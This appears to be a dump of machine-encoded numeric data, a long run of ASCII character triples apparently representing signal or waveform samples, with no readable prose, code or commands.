l6"i9%g<(d?+aB.]F2YJ6UN:PS?LWCG\HBaM>eQ9iV4n[0r_+wd'{h"lqv{ {vr!m%}i)yf-ub1q^4n[8jW;hT=fR@cOBaMD_KF]IG\HIZFJYEKXDLWCMVBMVBMVBNUANUANUAOT@OT@OT@PS?PS?QR>RQ=SPOT@MVBKXDH[GE^JBaM>eQ:iU6lY1q^,vc'{h"lqw|  |wq"l'{h-ub2p]7kXWL8]F2bA-h;'l6"q1u-y)}%"     ! #}%z(w+t.p2m5!i9%f=)bA-]F2YJ6UN:PS?RQ=TO;UN:WL8YJ6ZI5[H4]F2^E1_D0_D0`C/`C/`C/`C/_D0^E1]F2]F2\G3\G3]F2]F2^E1^E1_D0`C/aB.bA-c@,c@,d?+e=*e>*f=)f=)g<(g<(f=)f=)f=)e>*d?+c@,bA-aB._D0^E1\G3ZI5XK7VM9SPNUALWCJYEMVBPS?SP*f=)g<(g<(h;'h;'h;'g<(f=)e>*d?+c@,aB._D0]F2[H4YJ6VM9TO;QR>NUALWCIZFF]ID_KAbN?dPRQ=SPOT@MVBKXDIZFG\HD_KAbN=fR:iU6lY2p].ta*xe&|i"lpuy}~  ~|yto$~j(zg-ub1q^5mZ:iU>eQAbNE^JH[GLWCOT@QR>TO;WL8YJ6[H4]F2^E1`C/aB.bA-c@,d?+d?+e>*e>*f=)g<(h;'i:&i:&i:&i:&h;'g<(f=)d?+c@,c@,c@,c@,c@,bA-bA-aB.aB.`C/_D0]F2\G3[H4YJ6WL8UN:RQ=PS?MVBJYEG\HD_K@cOeQBaMF]IIZFLWCOT@RQ=TO;VM9XK7ZI5[H4\G3]F2]F2]F2]F2]F2]F2\G3[H4ZI5XK7WL8UN:SPOT@LWCJYEG\HD_KAbN>eQ;hT8jW4n[1q^-ub*xe&|i#kosvz}  ~yto$~j)yf.ta3o\7kXSP*i9%m5!q1u-x*|&#   ! ~${'x*t.q1m5!i9%f=)bA-^E1YJ6UN:PS?MVBLWCKXDJYEJYEIZFH[GG\HF]IE^JD_KC`LBaMAbN@cO>eQeQBaME^JH[GKXDNUAPS?RQ=TO;VM9WL8XK7YJ6YJ6ZI5YJ6YJ6XK7WL8UN:SPOT@LWCIZFF]IC`L?dPeQ?dP@cOAbNAbNAbNAbN@cO@cO?dP>eQLWCH[GC`L>eQ:iU5mZ1q^-ub(zg#kpuz ~}xto#k'{h+wd/s`3o\6lY9iVeQAbNC`LE^JF]IH[GIZFJYEKXDLWCLWCMVBMVBNUANUANUAOT@OT@PS?QR>QR>RQ=SPOT@LWCIZFF]IC`L?dP;hT7kX3o\.ta)yf$~jpu{  }xr!m&|i,vc1q^6lY;hT@cOD_KH[GLWCPS?SP*aB.]F2XK7TO;PS?RQ=TO;UN:WL8XK7ZI5[H4\G3]F2^E1^E1_D0_D0_D0^E1]F2\G3[H4ZI5ZI5ZI5ZI5ZI5ZI5[H4[H4\G3]F2^E1^E1_D0`C/aB.aB.bA-bA-bA-bA-bA-bA-bA-aB.`C/`C/_D0]F2\G3ZI5YJ6WL8UN:SPNUAKXDIZFF]IC`LAbN>eQRQ=SPOT@NUALWCIZFG\HD_KAbN=fR:iU6lY2p].ta*xe&|i"lpuy|}  ~|{vq"l'{h+wd0r_4n[8jWTO;WL8YJ6[G4]F2_D0aB.bA-c@,d?+e>*f=)f=)g<(g<(g<(h;'i:&i:&i:&i:&i:&g<(f=)f=)f=)f=)f=)f=)f=)f=)e>*e>*d?+c@,bA-aB.`C/_D0]F2[H4YJ6VM9TO;QR>NUAKXDH[GD_KAbN=fR9iV5mZ0r_1q^5mZ9iV=fRAbND_KG\HJYEMVBPS?RQ=TO;VM9WL8XK7YJ6ZI5ZI5ZH5ZI5ZI5YJ6XK7WL8VM9UN:SPOT@MVBKXDH[GF]IC`L@cO=fR:iU7kX4n[1q^-ub*xe'{h#k nruy|~  }xs n%}i*xe.ta3o\8jWeQ?dP@cOAbNAbNAbN@cO?dP>eQ@cOC`LG\HJYEMVBOT@RQ=TO;VM9XK7YJ6ZI5[H4[H4[H4[H4[H4ZI5XK7WL8UN:SPeQ?dP?dP?dP?dP?dP>eQ>eQ=fR;hT:iU9iV7kX5mZ3o\1q^/s`-ub*xe(zg&|i#k!m$~j'{h)yf,vc/s`2p]4n[7kX9iVeQAbNC`LF]IH[GKXDMVBOT@RQ=TO;WL8YJ6\G3^E1aB.d?+f=)i:&j8$l6"n4 p2q1r0s/t.t.t.t.s/r0q1o3m5!k7#i:&g<(c@,`C/]F2YJ6UN:QR>LWCH[GD_K?dP;hT6lY2p]-ub)yf$~joty~ ~|{yuq"l&|i*xe-ub1q^4n[7kX:iU=fR?dPAbNC`LE^JG\HH[GIYFJYEKXDLWCMVBMVBNUANUANUAOT@OT@PS?QR>RQ=SP*`C/\G3WL8SPeQ;hT9iV7kX5mZ3o\2p]1q^0r_/s`.ta-ub,vc+wd)yf(zg&|i%}i#k"l!m!m!m!m!m!m!m"l"l#k$~j$~j%}i&|i'{h'{h(zg)yf*xe+wd,vc-ub-ub.ta/s`/s`/s`0r_0r_0r_0r_0r_0r_0r_0r_0r_0r_0r_0r_/s`/s`/s`/s`.ta.ta.ta-ub-ub,vc,vc+wd+wd*xe)yf(zg(zg'{h&|i%}i$~j$~j#k"l!m nopqrrstuvwxyz{}~ |ywtrp!m"l$~j&|i'{h(zg)yf)yf*xe*xe*xe,vc0r_3o\7kX;hT>eQBaME^JH[GKXDNUAOT@QR>RQ=SPPS?NUALWCJYEG\HD_KAbN>eQ:iU6lY3o\/s`*xe&|i"lpuyz|}  }{zwr n%}i*xe.ta3o\7kX;hT?dPC`LG\HJYENUAQR>TO;WL8YJ6[H4^E1`C/aB.c@,d?+f=)g<(g<(h;'i:&i:&i:&i9%i9%i9%i9%i9%i9%i:&i:&i:&i:&i:&i:&i:&i:&i:&i:&h;'h;'g<(f=)e>*d?+bA-aB._D0]F2[H4XK7UN:RQ=OT@LWCH[GE^JAbN=fR8jW4n[0r_4n[8jW;hT?dPBaMF]IH[GKXDMVBPS?RQ=SPOT@MVBKXDIZFF]ID_KAbN?dP*aB.]F2YJ6UN:TO;SPPS?OT@MVBLWCKXDIZFH[GG\HE^JD_KBaMAbN?dP=fR;hT9iV6lY2p]/s`+wd&|i"lqv{ }xso$~j(zg,vc/s`3o\6lY9iV;hT=fR?dPAbNBaMD_KD_KE^JE^JD_KD_KC`LBaMBaME^JH[GKXDNUAQR>SPeQ;hT7kX3o\4n[5mZ7kX8jW:iU;hTLWCH[GD_K?dP;hT7kX2p].ta*xe%}i nsx}~|{ywur n$~j(zg,vc/s`3o\6lY9iV;hT>eQ@cOBaMD^KF]IG\HH[GJYEKXDKXDLWCNUAOT@PS?PS?QR>QR>PS?QR>RQ=SPOT@LWCIZFF]IBaM>eQ:iU5mZ1q^,vc&|i!msx~  zuo%}i*xe0r_5mZ:iU?dPD_KH[GLWCPS?TO;WL8YJ6[H4]F2_D0`C/`C/`C/`C/`C/_D0]F2\G3ZI5XK7UN:TO;ZI5`C/e>*j8$o3s/x*|&#     ! #|&y)v,s/o3k7#h;'d?+_D0[H4VM9QR>PS?QR>SPSPOT@MVBJYEH[GE^JBaM@cO=fR;hT8jW6lY4n[4n[3o\1q^0r_.ta-ub,vc*xe)yf(zg&|i%}i$~j#k#k#k"l"l"l"l#k#k#k$~j$~j%}i%}i&|i'{h(zg(zg)yf*xe+wd,vc,vc-ub.ta.ta/s`/s`0r_0r_0r_0r_0r_0r_0r_0r_/s`/s`/s`/s`/s`/s`/s`.ta.ta.ta.ta-ub-ub,vc,vc,vc+wd+wd*xe)yf)yf(zg'{h'{h&|i%}i$~j#k"l!m!m nopqrstuvwxyz{}~ ~{xusp n"l$~j%}i'{h(zg)yf*xe*xe+wd+wd,vc/s`3o\7kX:iU>eQAbNE^JH[GKXDMVBOT@QR>RQ=RQ=SPPS?NUALWCJYEG\HD_KAbN>eQ:iU7kX3o\/s`*xe&|i"lpuxyz|~ }{zxto$~j(zg-ub1q^6lY:iU>eQBaMF]IJYEMVBQR>TO;WL8YJ6\G3^E1`C/bA-d?+e>*g<(h;'i:&i9%j8$j8$k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#k7#j8$i9%i9%i:&h;'f=)e>*c@,aB._D0\G3YJ6VM9SPOT@NUALWCJYEIZFG\HD_KBaM@cO=fR:iU8jW5mZ2p]/s`,vc)yf&|i#k nqsuwxz|~ zvq!m&|i*xe/s`3o\8jWSP*aB.]F2YJ6XK7WL8VM9UN:TO;SPPS?OT@MVBKXDJYEH[GF]IE^JC`LAbN?dP>eQNUAKXDG\HD_K@cOeQAbNC`LE^JG\HIZFLWCNUAPS?RQ=TO;VM9XK7ZI5\G3^E1`C/c@,e>*g<(i:&j8$l6"m5!o3p2q1r0r0r0r0r0q1p2o3m5!k7#i9%h;'e>*bA-_D0[H4XK7TO;PS?LWCH[GD_K@cO;hT7kX3o\/s`*xe&|i!mrw|~|{ywusqo#k'{h*xe.ta1q^5mZ7jX:iU=fR?dPAbNC`LE^JF]IH[GIZFKXDMVBOT@PS?RQ=SPRQ=TO;UN:VM9WL8XK7YJ6ZI5ZI5ZI5ZI5YJ6YJ6XK7WL8UN:SPPS?OT@OT@OT@OT@OT@PS?PS?QR>QR>RQ=RQ=SPPS?NUAMVBKXDIZFG\HE^JC`LAbN?dP>eQAbNE^JG\HJYEMVBOT@QR>SPRQ=RQ=SPPS?NUALWCJYEG\HD_KAbN>eQ:iU7kX3o\/s`+wd&|i"lpuvxy{} ~|{yxvq"l'{h,vc0r_5mZ9iV=fRAbNE^JIZFMVBPS?SP*f=)h;'i:&i9%j8$k7#l6"m5!m5!m5!n4 n4 n4 n4 n4 n4 n4 n4 n4 n4 n4 n4 n4 n4 n4 m5!m5!l6"k7#j8$i9%h;'g<(e>*bA-`C/]F2ZI5WL8TO;PS?LWCH[GD_K@cO;hT7kX2p]4n[8jW;hT>eQAbND_KF]IH[GJYELWCMVBOT@OT@PS?PS?PS?PS?OT@NUANUALWCKXDJYEH[GF]ID_KBaM@cO>eQ;hT9iV6lY3o\1q^.ta+wd(zg&|i#k noqrtvwy{} ~yuq"l&|i+wd/s`3o\8jWVM9[H4`C/e>*i9%n4 r0v,z(~$!    "}%y)v,s/o3k7#i:&e>*aB.]F2\G3[H4ZI5YJ6XK7WL8VM9TO;SPPS?NUALWCJYEH[GF]ID_KBaM@cO>eQTO;VM9YJ6[H4]F2^E1_D0`C/aB.aB.aB.`C/_D0^E1\G3ZI5XK7VM9SP*g<(i:&j8$k7#m5!n4 o3p2p2q1q1q1p2o3n4 m5!l6"j8$i:&f=)d?+aB.^E1ZI5WL8SPdQ@cOBaME^JG\HJYELWCNUAPS?QR>SPOT@LWCIZFE^JAbN=fR8jW4n[/s`)yf$~jpv{  }wq#k(zg.ta4n[9iV>eQC`LH[GMVBQR>TO;XK7[H4]F2_D0aB.bA-c@,c@,c@,c@,bA-aB._D0]F2[H4YJ6VM9WL8]F2bA-h;'l6"q1v,z(}%"     "~${'x*u-q1m5!i9%f=)bA-]F2XK7TO;OT@OT@PS?RQ=SPeQeQAbND_KF]IIZFKXDNUAPS?QR>SPRQ=RQ=RQ=RQ=QR>PS?NUALWCJYEG\HD_KAbN>eQ;hT7kX3o\/s`+wd&|i"lptuvxy{} ~|zyxvr n%}i*xe/s`3o\8jWeQ:iU5mZ2p]5mZ9iVeQAbNC`LE^JG\HIZFJYEKXDLWCLWCLWCLWCLWCKXDJYEIZFH[GG\HE^JC`LAbN?dP=fR;hT9iV7kX4n[2p]/s`-ub*xe'{h%}i$~j#k"l noqsuvxz| }ytp"l'{h+wd/s`4n[8jW;hT?dPBaMF]IIZFKXDNUAOT@QR>RQ=SPOT@LWCJYEH[GF]IC`LAbN?dP=fR:iU8jW6lY2p]/s`+wd&|i"lqv{ zto$~j(zg-ub1q^5mZ9iV=fR@cOC`LF]IH[GJYELWCMVBNUAOT@PS?PS?OT@OT@NUAMVBLWCJYEIZFMVBPS?SPNUAJYEF]IBaM>eQ:iU6lY2p].ta/s`1q^2p]3o\4n[5mZ6lY6lY7kX7kX7kX7kX6lY6lY5mZ4n[3o\2p]1q^/s`-ub,vc*xe(zg*xe-ub0r_3o\6lY9iVeQAbNC`LE^JG\HIZFKXDMVBOT@PS?RQ=TO;UN:WL8XK7ZI5\G3^E1`C/aB.c@,e>*g<(i:&i9%k7#l6"m5!n4 o3o3o3o3o3n4 n4 m5!k7#j8$i:&g<(e>*bA-_D0\G3YJ6VM9RQ=OT@KXDG\HC`L?dP;hT7kX3o\/s`+wd&|i"lqv{}|zxvtro!m#k&|i)yf+wd.ta1q^4n[7kX:iURQ=TO;VM9WL8XK7XK7YJ6YJ6XK7WL8UN:TO;UN:WL8XK7YJ6ZI5ZI5[H4[H4[H4[H4ZI5ZI5XK7WL8UN:SPeQ:iU5mZ0r_+wd%}i ntz ~xr"l'{h-ub3o\9iV>eQC`LH[GMVBQR>UN:XK7[H4^E1`C/bA-c@,d?+e>*e>*e>*d?+c@,aB._D0]F2[H4XK7VM9[H4aB.f=)j8$o3t.x*|&#!        ! #}%z(w+t.p2l6"i:&e>*`C/\G3WL8RQ=MVBNUAOT@QR>RQ=SPOT@MVBKXDIZFH[GG\HG\HF]IF]IF]IF]IG\HG\HH[GH[GIZFIZFJYEJYEKXDKXDKXDLWCLWCLWCLWCKXDKXDKXDJYEIZFH[GG\HF]IE^JC`LAbN?dP=fR;hT9iV7kX:iU=fR@cOC`LE^JH[GJYELWCNUAOT@PS?QR>RQ=RQ=RQ=RQ=RQ=QR>PS?OT@NUAMVBKXDIZFG\HE^JC`L@cO>eQ;hT9iV6lY4n[3o\3o\3o\3o\3o\2p]1q^/s`-ub,vc*xe)yf(zg'{h&|i&|i%}i%}i%}i%}i%}i%}i%}i&|i&|i'{h'{h(zg(zg)yf*xe*xe+wd+wd,vc-ub-ub.ta.ta/s`/s`/s`0r_0r_0r_0r_/s`/s`/s`.ta.ta-ub-ub,vc,vc,vc,vc+wd+wd+wd+wd*xe*xe*xe*xe)yf)yf)yf(zg(zg(zg'{h'{h&|i&|i%}i$~j$~j#k"l!m!m noprstuvwwyz|~  ~{xuro!m#k%}i'{h)yf*xe,vc,vc-ub.ta.ta.ta2p]5mZ9iVRQ=RQ=RQ=RQ=QR>PS?NUALWCJYEG\HE^JBaM>eQ;hT7kX3o\/s`+wd&|i"lpstuvxz|~ ~|zywvto$~j)yf-ub2p]7kX;hT@cOD_KH[GLWCOT@SPeQ@cOBaMD_KE^JG\HH[GH[GH[GH[GH[GH[GG\HF]IE^JC`LBaM@cO?dP=fR;hT9iV6lY4n[2p]0r_-ub+wd)yf(zg'{h&|i%}i$~j#k!m nprtvxz|~ |xto#k'{h+wd/s`3o\7kX;hT?dPBaME^JH[GJYEMVBOT@PS?QR>RQ=SP<'{h+wd/s`3o\8jW=fRBaMG\HMVBRQ=WL8\G3bA-g<(j8$o3s/x*|&#   #|&y)v,r0n4 k7#h;'d?+c@,c@,bA-bA-aB.`C/_D0^E1]F2[H4YJ6XK7VM9TO;QR>OT@MVBJYEH[GE^JC`L@cO=fR;hT9iV6lY3o\0r_,vc(zg#kotz {up#k(zg-ub1q^6lY:iU>eQAbND_KG\HJYELWCNUAPS?QR>RQ=SPPS?OT@MVBKXDNUAQR>TO;WL8YJ6\G3^E1`C/aB.bA-c@,d?+d?+d?+c@,c@,aB.`C/^E1\G3YJ6VM9SPRQ=TO;UN:WL8XK7YJ6[H4]F2^E1`C/bA-c@,e>*f=)h;'i:&j8$k7#l6"l6"m5!m5!n4 m5!m5!m5!l6"k7#i9%i:&g<(e>*c@,aB.^E1[H4XK7UN:QR>NUAJYEF]IBaM>eQ:iU7kX3o\/s`*xe&|i"lqvz|{ywusp n#k%}i(zg+wd.ta0r_3o\6lY9iVSPOT@KXDH[GD_K@cO;hT6lY1q^,vc'{h!msy ys!m'{h-ub2p]8jW>eQC`LH[GMVBQR>UN:YJ6\G3_D0aB.c@,e>*f=)f=)g<(f=)f=)e>*c@,aB._D0]F2[H4XJ7YJ6_D0d?+i9%n4 r0w+z(}%"      "~$|&y)v,r0o3k7#h;'c@,_D0ZI5VM9QR>LWCMVBNUAPS?QR>RQ=SPOT@MVBKXDIZFG\HE^JD_KC`LBaMBaMBaMBaMBaMBaMBaMBaMC`LC`LD_KE^JE^JF]IF]IF]IG\HG\HG\HG\HG\HG\HG\HF]IE^JE^JD_KC`LAbN@cO>eQRQ=RQ=RQ=RQ=QR>PS?NUALWCJYEG\HE^JBaM>eQ;hT7kX3o\/s`+wd'{h"lpqrsuvxz} ~{zxwvtq"l'{h,vc1q^6lY:iU?dPC`LG\HKXDOT@SP*g<(i:&j8$l6"m5!o3p2q1r0s/s/t.t.u-u-u-u-v,v,v,v,w+w+w+w+w+w+w+v,u-t.s/r0p2n4 l6"j8$h;'e>*bA-^E1ZI5VM9RQ=MVBIZFD_K?dP:iU5mZ0r_3o\6lY9iV;hT=fR?dP@cOBaMC`LD_KD_KD_KD_KD_KC`LC`LAbN@cO?dP=fReQAbND_KG\HJYELWCMVBOT@PS?QR>QR>'{h+wd/s`3o\8jW=fRBaMG\HMVBRQ=WL8]F2bA-g<(k7#o3t.x*|&"   #|&y)u-r0n4 j8$g<(e>*f=)f=)e>*e>*d?+d?+c@,bA-`C/_D0]F2[H4YJ6WL8TO;RQ=OT@MVBJYEG\HD_KAbN?dPeQBaME^JIZFKXDNUAPS?RQ=TO;UN:VM9VM9VM9VM9VM9UN:TO;SPPS?MVBOT@RQ=UN:XK7[H4]F2_D0aB.c@,d?+e>*e>*f=)e>*e>*d?+c@,aB._D0]F2ZI5WL8TO;QR>MVBIZFE^JAbNSP*c@,aB._D0\G3YJ6VM9SPeQ:iU6lY2p].ta*xe&|i!mqvz|zxvtqo"l$~j'{h*xe-ub0r_3o\5mZ8jW;hT>eQAbND_KG\HJYELWCOT@QR>TO;VM9WL8YJ6[H4\G3]F2]F2^E1]F2]F2\G3ZI5XK7VM9XK7YJ6ZI5[H4\G3]F2]F2]F2]F2]F2\G3[H4YJ6WL8UN:SPVM9YJ6]F2`C/bA-d?+f=)g<(h;'h;'h;'h;'g<(e>*d?+bA-_D0]F2ZI5WL8\G3bA-h;'l6"p2u-x*|&~$"! ! "#}%z(w+t.q1m5!i9%f=)bA-]F2YJ6TO;OT@KXDLWCMVBNUAOT@PS?QR>QR>RQ=RQ=RQ=QR>QR>PS?OT@NUALWCJYEH[GE^JC`LAbN@cO?dP>eQ=fR=fR=fR=fR=fR=fR=fR>eQ>eQ?dP?dP@cO@cOAbNAbNBaMBaMBaMC`LC`LC`LBaMBaMAbNAbN@bO?dP>eQ=fR;hT9iV8jW6lY3o\1q^2p]5mZ8jW;hT>eQ@cOBaMD_KF]IH[GIZFJYEJYEKXDKXDKXDKXDJYEIZFH[GG\HF]ID_KBaM@cO>eQeQBaME^JH[GKXDMVBOT@QR>QR>RQ=RQ=RQ=QR>PS?NUALWCJYEH[GE^JBaM>eQ;hT7kX3o\/s`+wd'{h"lopqrsuwy{~ }{zxwvtr!m&|i+wd0r_5mZ9iV>eQBaMF]IKXDOT@RQ=VM9YJ6]F2`C/c@,e>*h;'i9%k7#m5!o3p2q1s/t.u-u-v,v,w+w+w+x*x*x*x*y)y)y)z(z(z(z(z(y)x*x*v,u-s/q1o3m5!j8$h;'e>*aB.]F2YJ6UM:PS?KXDG\HAbNeQ?dP@cO@cO@cO@cO@cO?dP>eQ=fReQAbND_KF]IIZFKXDLWCNUAOS@PS?PS?'{h*xe/s`3o\8jW=fRBaMG\HMVBRQ=WL8]F2bA-g<(k7#o3t.x*|&"  #|&y)u-r0n4 j8$g<(g<(h;'h;'h;'h;'h;'g<(f=)e>*d?+bA-`C/^E1\G3ZI5XK7UN:RQ=OT@MVBJYEF]IC`L@cO=fR:iU7kX4n[2p].ta+wd&|i"lqv{ ~}xr!m'{h,vc1q^6lY:iU>eQBaMF]IJYEMVBOT@RQ=TO;VM9WL8XK7YJ6YJ6YJ6YJ6YJ6XK7WL8VM9TO;RQ=PS?PS?SP*f=)g<(g<(g<(f=)f=)d?+c@,aB.^E1\G3YJ6VM9RQ=NUAJYEF]IBaM=fR9iV4n[/s`+wd(zg)yf*xe,vc-ub-ub.ta/s`/s`0r_0r_0r_0r_0r_/s`/s`.ta-ub,vc*xe)yf-ub0r_4n[7kX:iU=fR@cOC`LE^JH[GJYELWCMVBOT@QR>RQ=SP*f=)g<(h;'i:&i:&i9%i9%i9%i9%i9%i9%i:&h;'g<(f=)d?+c@,aB._D0\G3ZI5WL8TO;QR>NUAKXDG\HD_K@cOeQAbND_KF]IIZFLWCOT@QR>TO;VM9XK7ZI5\G3]F2^E1_D0`C/`C/`C/_D0^E1\G3ZI5XK7XK7ZI5[H4\G3]F2^E1^E1^E1^E1^E1]F2\G3[H4YJ6WL8TO;QR>NUAKXDG\HC`L>eQ9iV4n[/s`*xe$~jpv| |vo%}i+wd1q^7kX=fRBaMH[GMVBRQ=VM9ZI5]F2aB.c@,f=)g<(i:&i9%i9%i9%i:&i:&g<(f=)d?+aB._D0\G3YJ6ZI5`C/e>*i9%n4 s/v,z(|&~$""! ""#}%{'y)v,s/o3l6"i:&e>*`C/\G3WL8RQ=NUAJYEKXDLWCMVBNUAOT@OT@OT@PS?PS?OT@OT@NUAMVBLWCJYEIZFF]ID_KAbN?dP=fR;hT:iU9iV8jW8jW8jW7kX7kX8jW8jW8jW9iV:iU:iU;hT;hTeQ>eQ>eQ>eQ>eQ>eQ>eQ=fReQAbNE^JH[GKXDMVBOT@PR?QR>RQ=RQ=QR>QR>PS?NUALWCJYEH[GE^JBaM?dP;hT7kX4n[/s`+wd'{h#k nopqrtuwz|}{zxwvtr n%}i*xe/s`3o\8jW=fRAbNF]IJYENUARQ=VM9YJ6]F2`C/c@,f=)h;'j8$l6"n4 p2q1s/t.u-v,w+x*x*y)y)z(z(z(z({'{'{'|&|&|&}%}%|&|&{'z(y)x*v,t.r0p2m5!j8$h;'d?+`C/\G3WL8SPeQ9iV3o\.ta0r_2p]4n[6lY8jW9iV:iU;hTeQC`LG\HJYENUAQR>SP*f=)g<(h;'h;'h;'h;'g<(f=)d?+bA-`C/]F2ZI5WL8SPeQ9iV5mZ0r_+wd'{h&|i'{h(zg*xe*xe+wd,vc-ub-ub.ta.ta.ta.ta-ub-ub,vc+wd*xe)yf,vc/s`3o\7kX:iU=fR@cOC`LF]IH[GJYELWCNUAPS?QR>SP*f=)f=)g<(g<(h;'h;'h;'h;'h;'g<(g<(f=)e>*c@,bA-`C/^E1\G3ZI5XK7UN:RQ=OT@LWCIZFF]IBaM?dP;hT7kX4n[0r_,vc(zg$~j nrw{zxvtqo"l$~j'{h*xe-ub0r_3o\6lY9iV=fR@cOC`LF]IIZFLWCNUAQR>TO;VM9XK7ZI5\G3^E1_D0`C/aB.bA-bA-bA-aB.`C/^E1\G3ZI5YJ6ZI5\G3]F2^E1_D0_D0_D0_D0_D0^E1]F2\G3ZI5XK7UN:SPLWCIZFJYEKXDLWCLWCMVBMVBMVBMVBMVBMVBLWCKXDJYEIZFG\HE^JC`L@cO=fR;hT8jW7kX5mZ4n[3o\3o\2p]2p]2p]2p]3o\3o\4n[4n[5mZ5mZ6lY7jX7kX8jW8jW9iV9iV:iU:iU:iU:iU:iU9iV9iV8jW7kX6lY5mZ3o\2p]0r_.ta+wd+wd.ta1q^4n[6kY9iV;hT=fR?dP@cOAbNBaMC`LD_KD_KD_KD_KC`LBaMAbN@cO?dP=fR;hT9iV7kX5mZ3o\1q^.ta-ub.ta/s`/s`0r_0r_0r_0r_/s`.ta,vc*xe)yf(zg'{h&|i%}i%}i%}i%}i%}i%}i%}i&|i&|i'{h'{h(zg(zg)yf*xe*xe+wd,vc,vc-ub-ub-ub.ta.ta.ta.ta.ta.ta.ta.ta-ub-ub,vc+wd*xe)yf(zg'{h&|i&|i%}i$~j$~j$~j#k#k#k"l"l"l"l"l"l"l"l"l!m!m!m!m!m!m n nooppqrstuttsssstvxz}  }yvro"l%}i'{h*xe,vc.ta0r_1q^2p]3o\4n[4n[4n[4n[6lY:iU=fRAbND_KH[GJYEMVBOT@PS?QR>RQ=RQ=QR>QR>PS?NUALWCJYEH[GE^JBaM?dP;hT8jW4n[0r_,vc'{h#k!m n npqrtvx{~~{zxwvtrp#k(zg.ta2p]7kXVM9\G3aB.f=)j8$o3t.x*|&"   ! ~$|&x*u-r0n4 j8$i9%j8$k7#k7#l6"l6"l6"l6"k7#j8$i9%i:&g<(f=)c@,aB._D0\G3YJ6VM9SPeQC`LG\HKXDNUAQR>TO;WL8YJ6[H4\G3^E1_D0_D0_D0_D0_D0^E1]F2\G3ZI5YJ6VM9TO;SP*f=)h;'i:&i:&i9%i9%i:&h;'g<(e>*c@,aB.^E1[H4XK7TO;PS?LWCH[GC`L?dP:iU5mZ0r_,vc'{h#k$~j%}i&|i'{h(zg)yf*xe+wd+wd+wd,vc,vc+wd+wd+wd*xe)yf*xe.ta2p]6lY9iV=fR@cOC`LF]IH[GKXDMVBOT@PS?RQ=SP*e>*f=)f=)f=)e>*e>*e>*d?+c@,bA-aB._D0^E1\G3ZI5XK7UN:SPeQBaME^JH[GKXDNUAPS?SPMVBJYEE^JAbN*h;'i9%k7#l6"l6"m5!l6"l6"k7#i9%h;'f=)d?+aB.^E1[H4[H4`C/f=)i9%n4 r0u-x*z({'|&}%}%|&{'y)w+u-r0o3l6"i:&e=*aB.]F2XK7TO;OT@JYEH[GIZFJYEJYEKXDKXDKXDKXDKXDKXDJYEIZFH[GG\HE^JC`LAbN?dPeQ?dP@cO@cO@cO@cO@cO?dP?dP>eQ=fR;hT:iU8jW6lY4n[2p]0r_-ub+wd+wd,vc-ub.ta/s`/s`/s`/s`.ta-ub+wd)yf(zg'{h&|i%}i%}i$~j$~j$~j$~j%}i%}i%}i&|i&|i'{h(zg(zg)yf*xe*xe+wd+wd,vc,vc-ub-ub-ub-ub.ta.ta-ub-ub-ub,vc,vc+wd*xe)yf(zg'{h&|i%}i$~j#k#k"l!m!m!m n n n n n n n n n n n n nooooooppqrrstuuttsrrstuwy|  }yuro"l%}i(zg+wd-ub/s`1q^3o\4n[5mZ6lY6lY6lY6lY6lY9iV=fR@cOD_KG\HJYELWCNUAPS?QR>QR>RQ=QR>QR>PS?NUALWCJYEH[GE^JBaM?dPUN:YJ6]F2`C/c@,f=)i:&k7#m5!o3q1s/u-v,x*y)z({'|&|&}%}%~$~$~$##""! ! ! ! ! ! ""#}%|&z(x*u-r0o3l6"i:&e>*aB.\G3WL8RQ=MVBG\HBaMeQAbNC`LE^JG\HH[GJYEJYEKXDKXD%}i(zg,vc1q^6lY;hT@cOE^JKXDPS?VM9[H4`C/f=)j8$n4 s/w+{'#    "~${'x*u-r0n4 j8$i9%k7#l6"m5!n4 n4 n4 n4 n4 m5!l6"k7#j8$i:&g<(e>*bA-_D0\G3YJ6VM9RQ=OT@KXDG\HC`L?dP;hT8jW4n[0r_-ub*xe&|i"lqv{ ~~}wq#k)yf.ta3o\9iV>eQBaMG\HKXDNUARQ=UN:XK7ZI5\G3^E1`C/aB.aB.bA-bA-bA-aB.`C/_D0^E1\G3ZI5XK7VM9TO;WL8ZI5\G3_D0bA-d?+f=)g<(i:&i9%i9%j8$j8$i9%i:&h;'f=)d?+bA-_D0\G3YJ6UN:QR>MVBH[GD_K?dP:iU5mZ1q^,vc'{h#k!m"l#k$~j%}i&|i'{h(zg)yf)yf)yf)yf)yf)yf)yf(zg(zg-ub1q^5mZ9iVRQ=TO;UN:VM9WL8XK7XK7YJ6YJ6ZI5ZI5[H4[H4\G3\G3]F2^E1_D0_D0`C/aB.aB.bA-bA-c@,c@,c@,c@,c@,c@,bA-bA-aB.`C/_D0^E1\G3[H4YJ6WL8UN:RQ=PS?MVBKXDH[GE^JBaM>dQ;hT8jW4n[1q^-ub)yf&|i"lquy|zwusp!m$~j'{h*xe-ub0r_3o\6lY:iU=fR@cOC`LF]IJYEMVBPS?RQ=UN:XK7ZI5\G3^E1`C/bA-c@,d?+e>*f=)f=)f=)e>*d?+bA-`C/]F2ZI5\G3]F2_D0`C/aB.aB.aB.aB.aB.aB.`C/^E1]F2[H4XK7UN:RQ=OT@KXDG\HBaM=fR8jW3o\.ta(zg"lrx~ yr"l(zg/s`5mZQR>QR>QR>QR>PS?NUAMVBKXDH[GF]IC`L?dPUN:YJ6]F2`C/c@,g<(i9%k7#n4 p2r0t.v,w+y)z({'|&}%~$~$##"""!        ! "~$|&z(w+u-q1n4 j8$g<(c@,^E1YJ6TO;NUAIZFC`L=fR7kX1q^+wd'{h)yf+wd,vc-ub.ta/s`/s`/s`/s`.ta-ub,vc+wd*xe(zg'{h'{h*xe,vc.ta/s`1q^2p]3o\3o\3o\3o\3o\2p]1q^0r_/s`-ub,vc*xe(zg%}i#k!mpruwy|~~{xuq n#k'{h*xe.ta1q^4n[7kX:iU=fR?dPBaMD_KE^JG\HH[GIZFIZFJYE$~j'{h+wd0r_5mZ:iU?dPD_KJYEOT@UN:ZI5_D0e>*i9%n4 r0v,z(~$   "~${'x*u-r0n4 j8$j8$k7#m5!n4 o3p2p2q1p2p2o3n4 